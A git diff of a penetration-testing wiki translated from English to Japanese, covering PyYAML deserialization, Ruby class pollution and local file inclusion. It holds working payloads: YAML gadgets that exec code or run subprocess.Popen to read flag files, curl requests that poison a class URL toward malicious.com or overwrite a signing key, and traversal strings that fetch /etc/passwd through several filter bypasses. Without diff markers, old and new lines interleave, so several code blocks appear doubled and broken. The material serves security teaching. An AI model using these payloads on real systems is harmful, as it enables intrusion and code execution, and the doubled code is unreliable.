前のコードでは、**unsafe_load**を使用してシリアライズされたPythonクラスをロードしました。これは、**バージョン >= 5.1**では、load()でLoaderが指定されていないか、Loader=SafeLoaderの場合、**シリアライズされたPythonクラスまたはクラス属性をデシリアライズすることを許可しない**ためです。
The previous code used **unsafe_load** to load the serialized python class. This is because in **version >= 5.1**, it doesnt allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.
### Basic Exploit
Example on how to **execute a sleep**:
### 基本的なエクスプロイト
**スリープを実行する**方法の例:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -69,48 +64,42 @@ print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### 脆弱な .load("\<content>") Loaderなし
### Vulnerable .load("\<content>") without Loader
**Old versions** of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)`
You can find the [**description of the vulnerability here**](https://hackmd.io/@defund/HJZajCVlP)**.** The proposed **exploit** in that page is:
**古いバージョン**のpyyamlは、何かを読み込む際に**Loaderを指定しなかった場合**、デシリアライズ攻撃に対して脆弱でした: `yaml.load(data)`
[**脆弱性の説明はこちら**](https://hackmd.io/@defund/HJZajCVlP)**で見つけることができます。** 提案された**エクスプロイト**は次の通りです:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Or you could also use this **one-liner provided by @ishaack**:
また、これを使用することもできます **@ishaack 提供のワンライナー**:
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
```
Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack.
注意してください、**最近のバージョン**では、**`Loader`**なしで**`.load()`**を**呼び出すことはできません**、そして**`FullLoader`**はこの攻撃に**もはや脆弱ではありません**。
## RCE
Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
カスタムペイロードは、**PyYAML**や**ruamel.yaml**などのPython YAMLモジュールを使用して作成できます。これらのペイロードは、適切なサニタイズなしで信頼できない入力をデシリアライズするシステムの脆弱性を悪用することができます。
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
@ -122,11 +111,9 @@ print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### ペイロードを作成するためのツール
### Tool to create Payloads
The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
ツール [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) は、**Pickle, PyYAML, jsonpickle および ruamel.yaml** を悪用するための Python デシリアライズペイロードを生成するために使用できます。
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
@ -145,14 +132,12 @@ gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSF
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
- cat
- /root/flag.txt
```
### References
### 参考文献
- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
これは投稿の要約です [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
## Merge on Attributes
Example:
## 属性のマージ
例:
```ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
@ -17,167 +16,163 @@ require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
private
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
protected
def check_cpu
puts "CPU check passed."
end
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
### 説明
### Explanation
1. **特権昇格**: `authorize` メソッドは `to_s` が "Admin" を返すかどうかをチェックします。JSONを通じて新しい `to_s` 属性を注入することで、攻撃者は `to_s` メソッドが "Admin" を返すようにし、不正な特権を付与することができます。
2. **リモートコード実行**: `health_check` では、`instance_eval``protected_methods` にリストされたメソッドを実行します。攻撃者がカスタムメソッド名(例えば `"puts 1"`)を注入すると、`instance_eval` はそれを実行し、**リモートコード実行 (RCE)** につながります。
1. これは、**その属性の文字列値を実行する脆弱な `eval` 命令** が存在するためにのみ可能です。
3. **影響の制限**: この脆弱性は個々のインスタンスにのみ影響を与え、他の `User` および `Admin` のインスタンスには影響を与えないため、悪用の範囲が制限されます。
1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**.
1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute.
3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.
### 実世界のケース <a href="#real-world-cases" id="real-world-cases"></a>
### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a>
### ActiveSupports `deep_merge`
This isn't vulnerable by default but can be made vulnerable with something like:&#x20;
### ActiveSupportの `deep_merge`
これはデフォルトでは脆弱ではありませんが、次のようなもので脆弱にすることができます:&#x20;
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
self
end
```
### Hashieの`deep_merge`
### Hashies `deep_merge`
Hashieの`deep_merge`メソッドは、プレーンハッシュではなくオブジェクト属性に直接作用します。これは、いくつかの**例外**を除いて、マージ時に属性でメソッドを**置き換えることを防ぎます**`_``!`、または`?`で終わる属性は、オブジェクトにマージすることができます。
Hashies `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes in a merge with some **exceptions**: attributes that end with `_`, `!`, or `?` can still be merged into the object.
Some special case is the attribute **`_`** on its own. Just `_` is an attribute that usually returns a `Mash` object. And because it's part of the **exceptions**, it's possible to modify it.
Check the following example how passing `{"_": "Admin"}` one is able to bypass `_.to_s == "Admin"`:
特別なケースとして、単独の属性**`_`**があります。単に`_`は通常`Mash`オブジェクトを返す属性です。そして、これは**例外**の一部であるため、変更することが可能です。
次の例を確認してください。`{"_": "Admin"}`を渡すことで、`_.to_s == "Admin"`をバイパスできることがわかります:
```ruby
require 'json'
require 'hashie'
@ -185,77 +180,75 @@ require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
## クラスを汚染する <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
In the following example it's possible to find the class **`Person`**, and the the clases **`Admin`** and **`Regular`** which inherits from the **`Person`** class. It also has another class called **`KeySigner`**:
次の例では、クラス **`Person`** を見つけることができ、**`Person`** クラスから継承されるクラス **`Admin`** と **`Regular`** も見つけることができます。また、**`KeySigner`** という別のクラスもあります:
```ruby
require 'json'
require 'sinatra/base'
@ -263,158 +256,152 @@ require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
run! if app_file == $0
end
```
### Poison Parent Class
With this payload:
このペイロードを使用して:
```bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
親クラス **`Person`** の **`@@url`** 属性の値を変更することが可能です。
It's possible to modify the value of the **`@@url`** attribute of the parent class **`Person`**.
### **Poisoning Other Classes**
With this payload:
### **他のクラスの汚染**
このペイロードを使用して:
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
定義されたクラスをブルートフォース攻撃することが可能であり、ある時点でクラス **`KeySigner`** を汚染し、`signing_key` の値を `injected-signing-key` に変更することができます。\
It's possible to brute-force the defined classes and at some point poison the class **`KeySigner`** modifying the value of `signing_key` by `injected-signing-key`.\
## References
## 参考文献
- [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,149 +1,130 @@
# File Inclusion/Path traversal
# ファイルインクルージョン/パス横断
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
## File Inclusion
## ファイルインクルージョン
**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
**Local File Inclusion (LFI):** The sever loads a local file.
**リモートファイルインクルージョン (RFI):** ファイルはリモートサーバーから読み込まれます(最良: コードを書いてサーバーがそれを実行します。PHPでは、これはデフォルトで**無効**です(**allow_url_include**)。\
**ローカルファイルインクルージョン (LFI):** サーバーはローカルファイルを読み込みます。
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
脆弱性は、ユーザーがサーバーによって読み込まれるファイルを何らかの方法で制御できるときに発生します。
Vulnerable **PHP functions**: require, require_once, include, include_once
脆弱な**PHP関数**: require, require_once, include, include_once
A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## ブラインド - 興味深い - LFI2RCEファイル
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Mixing several \*nix LFI lists and adding more paths I have created this one:**
**いくつかの*nix LFIリストを混ぜて、さらにパスを追加してこれを作成しました:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Try also to change `/` for `\`\
Try also to add `../../../../../`
`/``\`に変更してみてください。\
`../../../../../`を追加してみてください。
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)にあります。
### **Windows**
Merge of different wordlists:
異なるワードリストのマージ:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`
`/``\`に変更してみてください。\
`C:/`を削除して`../../../../../`を追加してみてください。
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)にあります。
### **OS X**
Check the LFI list of linux.
LinuxのLFIリストを確認してください。
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
## 基本的なLFIとバイパス
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences stripped non-recursively
### トラバーサルシーケンスが非再帰的に除去されました
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")
提供された文字列の末尾に文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
これは**PHP 5.4以降解決されています**
This is **solved since PHP 5.4**
### **Encoding**
You could use non-standard encondings like double URL encode (and others):
### **エンコーディング**
ダブルURLエンコードおよびその他などの非標準エンコーディングを使用できます
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 既存のフォルダーから
### From existent folder
Maybe the back-end is checking the folder path:
おそらくバックエンドはフォルダーパスをチェックしています:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバー上のファイルシステムディレクトリの探索
### Exploring File System Directories on a Server
The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:
1. **Determine Directory Depth:** Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを特定し、特定のフォルダーの存在を調査することを含みます。以下は、これを達成するための詳細な方法です:
1. **ディレクトリの深さを特定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd`ファイルを正常に取得しますサーバーがLinuxベースの場合に適用。例として、深さが3であることを示すURLは次のように構成されるかもしれません
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:
2. **フォルダを調査する:** 疑わしいフォルダの名前(例: `private`をURLに追加し、その後`/etc/passwd`に戻ります。追加のディレクトリレベルは深さを1つ増やす必要があります:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **結果の解釈:** サーバーの応答はフォルダーの存在を示します:
- **エラー / 出力なし:** フォルダー `private` は指定された場所に存在しない可能性があります。
- **`/etc/passwd` の内容:** `private` フォルダーの存在が確認されました。
4. **再帰的探索:** 発見されたフォルダーは、同じ技術または従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。
3. **Interpret the Outcomes:** The server's response indicates whether the folder exists:
- **Error / No Output:** The folder `private` likely does not exist at the specified location.
- **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed.
4. **Recursive Exploration:** Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods.
For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use:
ファイルシステム内の異なる場所でディレクトリを探索するには、ペイロードを適宜調整してください。たとえば、`/var/www/``private` ディレクトリが含まれているか確認するには現在のディレクトリが深さ3にあると仮定して、次のようにします:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **パストランケーション技術**
### **Path Truncation Technique**
パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することで、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file.
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information):
- `/etc/passwd``/etc//passwd``/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。
- 同様に、ファイルパスに`.php`を追加した場合(`shellcode.php`のように)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
提供された例は、パストランケーションを利用して、機密情報(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
```
